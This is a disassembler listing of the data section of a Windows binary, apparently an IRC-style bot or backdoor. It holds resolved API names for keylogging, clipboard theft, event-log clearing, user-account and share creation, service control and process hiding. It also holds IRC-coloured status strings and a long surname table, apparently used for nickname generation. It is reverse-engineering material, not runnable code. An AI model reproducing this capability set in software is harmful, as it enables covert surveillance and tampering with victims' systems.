aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409A1D:loc_40A4E1o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409A1D+A8Fo
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409A1D+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409A1D:loc_40A497o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409A1D+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409A1D+9ECo
					; sub_418D6C+54o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409A1D+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409A1D+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409A1D+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409A1D+9B8o
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409A1D+9ABo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409A1D+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409A1D+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409A1D+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409A1D+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409A1D+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409A1D:loc_40A37Bo
					; sub_418D6C+47o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409A1D+921o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409A1D+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409A1D+90Co
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409A1D:loc_40A31Co
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409A1D+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409A1D+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409A1D+853o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409A1D+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409A1D+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409A1D+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409A1D+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409A1D+812o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409A1D+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409A1D+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409A1D+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409A1D:loc_40A1FCo
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409A1D+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409A1D+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409A1D+68Co
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409A1D+67Fo
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409A1D+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409A1D+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409A1D+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409A1D+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409A1D+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409A1D+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409A1D+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409A1D+617o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_409A1D+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409A1D+5FDo
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409A1D+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409A1D+5D6o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_409A1D+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409A1D+5BCo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409A1D+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409A1D+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409A1D+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409A1D+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409A1D+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409A1D+56Eo
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409A1D+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409A1D+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409A1D+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409A1D+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409A1D+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409A1D+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409A1D+514o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409A1D+4A1o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409A1D+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409A1D+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409A1D+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409A1D+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409A1D+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409A1D+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409A1D+446o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409A1D+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409A1D:loc_409E4Ao
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409A1D:loc_409E22o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409A1D+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409A1D+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409A1D+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409A1D+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409A1D+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409A1D+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409A1D+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409A1D:loc_409D74o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409A1D+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409A1D+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409A1D:loc_409D2Fo
		align 10h
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409A1D+2C6o
		align 10h
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409A1D+2B9o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409A1D+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409A1D+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409A1D+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409A1D+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409A1D+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409A1D+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409A1D:loc_409C7Co
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409A1D+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409A1D+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409A1D+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409A1D:loc_409C15o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409A1D+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409A1D+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409A1D+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409A1D+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409A1D+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409A1D+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409A1D+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409A1D+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409A1D:loc_409B52o
					; sub_4256B1+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409A1D:loc_409B25o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409A1D+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409A1D+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409A1D+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409A1D+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409A1D+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409A1D+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409A1D+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409A1D+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409A1D+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409A1D+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409A1D+23o
		align 4
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_409A1D+Ao
		align 4
unk_42E9CC	db  2Dh	; -		; DATA XREF: sub_40A6D9+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+1FCo
		align 10h
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+28o
		align 4
a_:					; DATA XREF: sub_40D86F+13o
					; sub_4101B7+24Co
		unicode	0, <.>,0
unk_42EB5C	db  2Dh	; -		; DATA XREF: sub_40AA3C:loc_40AB0Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42EB8C	db  2Dh	; -		; DATA XREF: sub_40AA3C:loc_40AADBo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42EBBC	db  2Dh	; -		; DATA XREF: sub_40AA3C:loc_40AA91o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 10h
unk_42EBE0	db  2Dh	; -		; DATA XREF: sub_40AA3C+45o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AB14+46o
					; sub_40BE71+38o ...
aReal		db 'real',0             ; DATA XREF: sub_40AF23+Fr
		align 10h
		dd 0
dword_42EC24	dd 0		off_42EC28	dd offset sub_40ABBD	; DATA XREF: sub_40AF23+4Ar
aConst		db 'const',0
		align 8
		dd 1, 40AC29h, 7474656Ch, 7265h, 0
		dd 2, 40AC87h, 706D6F63h, 2 dup(0)
		dd 3, 40ACD4h, 6E756F63h, 797274h, 0
		dd 4, 40AD43h, 736Fh, 2	dup(0)
		dd 5, 40ADB8h
off_42EC90	dd offset aAbdulrazak	; DATA XREF: sub_40ABBD+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
		dd offset aAddison	; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
